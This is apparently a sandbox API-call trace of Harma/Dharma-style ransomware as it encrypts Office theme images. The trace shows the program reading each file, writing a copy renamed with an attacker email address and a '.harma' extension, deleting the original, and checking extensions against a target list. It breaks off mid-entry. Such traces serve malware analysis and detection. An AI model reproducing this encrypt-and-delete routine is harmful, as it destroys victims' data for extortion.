lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0057.978] lstrlenW (lpString=".jpg") returned 4 [0057.978] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0057.979] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0057.979] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0057.979] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0057.979] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=3957) returned 1 [0057.979] CloseHandle (hObject=0x1fc) returned 1 [0057.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif")) returned 0x20 [0057.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0057.979] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0057.980] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.980] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.980] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0057.982] GetLastError () returned 0x0 [0057.982] ReadFile (in: hFile=0x1fc, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0xf75, lpOverlapped=0x0) returned 1 [0057.983] WriteFile (in: hFile=0x164, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xf80, lpOverlapped=0x0) returned 1 [0057.984] ReadFile (in: hFile=0x1fc, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0057.984] WriteFile (in: hFile=0x164, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xea, lpOverlapped=0x0) returned 1 [0057.984] SetEndOfFile (hFile=0x164) returned 1 [0057.984] CloseHandle (hObject=0x164) returned 1 [0057.985] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.985] SetEndOfFile (hFile=0x1fc) returned 1 [0057.985] CloseHandle (hObject=0x1fc) returned 1 [0057.985] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0057.986] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif")) returned 1 [0057.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0057.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0057.986] lstrlenW (lpString=".doc") returned 4 [0057.986] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.986] lstrlenW (lpString=".docx") returned 5 [0057.986] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0057.986] lstrlenW (lpString=".pdf") returned 4 [0057.986] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.986] lstrlenW (lpString=".xls") returned 4 [0057.986] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.986] lstrlenW (lpString=".xlsx") returned 5 [0057.986] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0057.986] lstrlenW (lpString=".ppt") returned 4 [0057.986] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0057.986] lstrlenW (lpString=".zip") returned 4 [0057.986] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.987] lstrlenW (lpString=".rar") returned 4 [0057.987] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.987] lstrlenW (lpString=".bz2") returned 4 [0057.987] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.987] lstrlenW (lpString=".7z") returned 3 [0057.987] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0057.987] lstrlenW (lpString=".dbf") returned 4 [0057.987] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0057.987] lstrlenW (lpString=".1cd") returned 4 [0057.987] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0057.987] lstrlenW (lpString=".jpg") returned 4 [0057.987] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0057.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0057.987] lstrlenW (lpString=".doc") returned 4 [0057.987] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.987] lstrlenW (lpString=".docx") returned 5 [0057.987] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0057.987] lstrlenW (lpString=".pdf") returned 4 [0057.987] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.987] lstrlenW (lpString=".xls") returned 4 [0057.987] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.987] lstrlenW (lpString=".xlsx") returned 5 [0057.987] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0057.987] lstrlenW (lpString=".ppt") returned 4 [0057.987] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0057.988] lstrlenW (lpString=".zip") returned 4 [0057.988] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.988] lstrlenW (lpString=".rar") returned 4 [0057.988] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.988] lstrlenW (lpString=".bz2") returned 4 [0057.988] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.988] lstrlenW (lpString=".7z") returned 3 [0057.988] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0057.988] lstrlenW (lpString=".dbf") returned 4 [0057.988] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0057.988] lstrlenW (lpString=".1cd") returned 4 [0057.988] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0057.988] lstrlenW (lpString=".jpg") returned 4 [0057.988] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.988] lstrcmpiW (lpString1=".PNG", lpString2=".harma") returned 1 [0057.988] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0057.988] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0057.989] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=33277) returned 1 [0057.989] CloseHandle (hObject=0x1fc) returned 1 [0057.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png")) returned 0x20 [0057.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0057.990] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0057.991] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.991] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.991] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0057.991] GetLastError () returned 0x0 [0057.991] ReadFile (in: hFile=0x1fc, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x81fd, lpOverlapped=0x0) returned 1 [0057.993] WriteFile (in: hFile=0x164, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x8200, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x8200, lpOverlapped=0x0) returned 1 [0057.995] ReadFile (in: hFile=0x1fc, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0057.995] WriteFile (in: hFile=0x164, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.995] SetEndOfFile (hFile=0x164) returned 1 [0057.995] CloseHandle (hObject=0x164) returned 1 [0057.995] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.995] SetEndOfFile (hFile=0x1fc) returned 1 [0057.996] CloseHandle (hObject=0x1fc) returned 1 [0057.997] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0057.997] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png")) returned 1 [0057.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0057.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0057.997] lstrlenW (lpString=".doc") returned 4 [0057.997] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0057.997] lstrlenW (lpString=".docx") returned 5 [0057.997] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0057.997] lstrlenW (lpString=".pdf") returned 4 [0057.997] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0057.997] lstrlenW (lpString=".xls") returned 4 [0057.997] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0057.997] lstrlenW (lpString=".xlsx") returned 5 [0057.997] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0057.997] lstrlenW (lpString=".ppt") returned 4 [0057.997] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0057.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0057.997] lstrlenW (lpString=".zip") returned 4 [0057.998] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0057.998] lstrlenW (lpString=".rar") returned 4 [0057.998] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0057.998] lstrlenW (lpString=".bz2") returned 4 [0057.998] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0057.998] lstrlenW (lpString=".7z") returned 3 [0057.998] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0057.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0057.998] lstrlenW (lpString=".dbf") returned 4 [0057.998] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0057.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0057.998] lstrlenW (lpString=".1cd") returned 4 [0057.998] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0057.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0057.998] lstrlenW (lpString=".jpg") returned 4 [0057.998] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0057.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0057.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0057.998] lstrlenW (lpString=".doc") returned 4 [0057.998] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0057.998] lstrlenW (lpString=".docx") returned 5 [0057.998] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0057.998] lstrlenW (lpString=".pdf") returned 4 [0057.998] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0057.998] lstrlenW (lpString=".xls") returned 4 [0057.998] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0057.998] lstrlenW (lpString=".xlsx") returned 5 [0057.998] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0057.998] lstrlenW (lpString=".ppt") returned 4 [0057.998] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0057.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0057.998] lstrlenW (lpString=".zip") returned 4 [0057.999] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0057.999] lstrlenW (lpString=".rar") returned 4 [0057.999] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0057.999] lstrlenW (lpString=".bz2") returned 4 [0057.999] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0057.999] lstrlenW (lpString=".7z") returned 3 [0057.999] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0057.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0057.999] lstrlenW (lpString=".dbf") returned 4 [0057.999] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0057.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0057.999] lstrlenW (lpString=".1cd") returned 4 [0057.999] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0057.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0057.999] lstrlenW (lpString=".jpg") returned 4 [0057.999] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0057.999] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0057.999] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0057.999] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0058.000] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=1453) returned 1 [0058.000] CloseHandle (hObject=0x1fc) returned 1 [0058.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif")) returned 0x20 [0058.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0058.000] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0058.000] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.000] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.000] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0058.002] GetLastError () returned 0x0 [0058.002] ReadFile (in: hFile=0x1fc, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x5ad, lpOverlapped=0x0) returned 1 [0058.004] WriteFile (in: hFile=0x164, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0058.005] ReadFile (in: hFile=0x1fc, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0058.005] WriteFile (in: hFile=0x164, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xea, lpOverlapped=0x0) returned 1 [0058.005] SetEndOfFile (hFile=0x164) returned 1 [0058.005] CloseHandle (hObject=0x164) returned 1 [0058.005] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.005] SetEndOfFile (hFile=0x1fc) returned 1 [0058.006] CloseHandle (hObject=0x1fc) returned 1 [0058.006] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0058.006] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif")) returned 1 [0058.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0058.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0058.007] lstrlenW (lpString=".doc") returned 4 [0058.007] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0058.007] lstrlenW (lpString=".docx") returned 5 [0058.007] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0058.007] lstrlenW (lpString=".pdf") returned 4 [0058.007] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0058.007] lstrlenW (lpString=".xls") returned 4 [0058.007] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0058.007] lstrlenW (lpString=".xlsx") returned 5 [0058.007] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0058.007] lstrlenW (lpString=".ppt") returned 4 [0058.007] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0058.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0058.007] lstrlenW (lpString=".zip") returned 4 [0058.007] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0058.007] lstrlenW (lpString=".rar") returned 4 [0058.007] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0058.007] lstrlenW (lpString=".bz2") returned 4 [0058.007] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0058.007] lstrlenW (lpString=".7z") returned 3 [0058.007] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0058.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0058.007] lstrlenW (lpString=".dbf") returned 4 [0058.007] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0058.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0058.007] lstrlenW (lpString=".1cd") returned 4 [0058.007] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0058.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0058.008] lstrlenW (lpString=".jpg") returned 4 [0058.008] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0058.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0058.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0058.008] lstrlenW (lpString=".doc") returned 4 [0058.008] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0058.008] lstrlenW (lpString=".docx") returned 5 [0058.008] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0058.008] lstrlenW (lpString=".pdf") returned 4 [0058.008] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0058.008] lstrlenW (lpString=".xls") returned 4 [0058.008] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0058.008] lstrlenW (lpString=".xlsx") returned 5 [0058.008] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0058.008] lstrlenW (lpString=".ppt") returned 4 [0058.008] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0058.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0058.008] lstrlenW (lpString=".zip") returned 4 [0058.008] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0058.008] lstrlenW (lpString=".rar") returned 4 [0058.008] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0058.008] lstrlenW (lpString=".bz2") returned 4 [0058.008] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0058.008] lstrlenW (lpString=".7z") returned 3 [0058.008] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0058.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0058.008] lstrlenW (lpString=".dbf") returned 4 [0058.008] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0058.008] lstrlenW 